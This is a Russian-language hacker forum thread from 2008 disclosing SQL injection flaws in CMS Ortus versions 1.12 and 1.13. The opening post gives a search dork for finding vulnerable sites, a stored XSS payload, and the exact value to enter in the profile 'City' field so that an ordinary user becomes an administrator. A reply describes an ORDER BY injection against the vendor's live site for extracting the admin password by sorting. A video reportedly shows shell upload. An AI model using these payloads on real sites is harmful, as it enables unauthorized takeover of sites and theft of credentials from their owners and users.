SQL инъекция в CMS Ortus

Discussion in 'Веб-уязвимости' started by otmorozok428, 27 Nov 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    На днях занимался исследованием CMS Ortus. Нашёл серьёзную уязвимость, заодно подучил латынь. Теперь, знаю что Ortus по латыни означает "рассвет". Короче, век живи - век учись, как говорил Цицерон :)

    Сайт вендора: http://ortus.nirn.ru

    Уязвимые версии: 1.12, 1.13

    Гуглится так: inurl:index.php?ortupg=

    Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле "City".

    Рассмотрим по порядку:

    1. Зарегистрируем нового пользователя
    HTML:
    http://www.site.com/index.php?mod=users_add
    Данные из POST-формы будут помещены в следующий SQL-запрос
    PHP:
    INSERT INTO ortus_users SET id_user NULLname 'pupkin'login 'pupkin'psw md5('12345'), `group` = 'user', `city` = 'Moscow', `info` = '', `email` = '[email protected]', `reg_date` = NOW(), `activated` = 'no', `subscribe` = 'yes'
    А поскольку параметр "City" не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле "City"
    PHP:
    <script>alert()</script>
    что в принципе тоже достаточно нефигово, но идём дальше...

    2. Аутентифицируемся на сайте
    HTML:
    http://www.site.com/index.php?mod=auth
    3. Редактируем профиль пользователя
    HTML:
    http://www.site.com/index.php?mod=users_edit_pub
    Обновление профиля пользователя производится запросом
    PHP:
    UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'Moscow', `email` = '[email protected]', `subscribe` = 'yes' WHERE id_user 7
    Мы можем видоизменить данный запрос вставив
    PHP:
    MyCity', `group`='admin
    в поле "City". То есть наш запрос стал выглядеть так
    PHP:
    UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'MyCity', `group`='admin', `email` = '[email protected]', `subscribe` = 'yes' WHERE id_user 7
    Пользователь pupkin был членом группы user, а стал членом группы admin. Убедиться в этом можно посмотрев список пользователей
    HTML:
    http://www.site.com/index.php?mod=users_list_pub
    4. Видео-урок

    Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта CMS Ortus. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:

    http://depositfiles.com/files/h8sbwikey
     
    #1 otmorozok428, 27 Nov 2008
    Last edited: 28 Nov 2008
  2. BuG_4F

    BuG_4F Member

    Joined:
    20 May 2008
    Messages:
    88
    Likes Received:
    67
    Reputations:
    5
    Отлично, и понятно :)
    + однозначно !
     
  3. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    сегодня тоже пришлось столкнуться с этой цмс, опубликованную otmorozok428 багу закрыли на сл же день:
    + ни одна из переменных на сайте не пропускает спецсимволы, пришлось немного повозиться, но все же бага нашлась)
    для переменной $sort в скрипте просмотра существующих пользователей не задается фиксированный набор значений
    и обратившись к _ortus.nirn.ru/index.php?mod=users_list_pub&sort=lalala
    появляется ключевая ошибка: Unknown column 'lalala' in 'order clause'
    качаем двиг узнаем нужную нам колонку:
    сортируем список по найденной колонке _ortus.nirn.ru/index.php?mod=users_list_pub&sort=psw
    и подбираем пароль админа как в обычной сортировочной sql inj. , т.е. методом создания новых пользователей ;)
     
    #3 l1ght, 16 Dec 2008
    Last edited: 16 Dec 2008
    3 people like this.
  4. YouReTs

    YouReTs Member

    Joined:
    20 Jul 2015
    Messages:
    11
    Likes Received:
    6
    Reputations:
    0
    Видео-урок перезалейте пожалуйста, ссылка битая, интересно посмотреть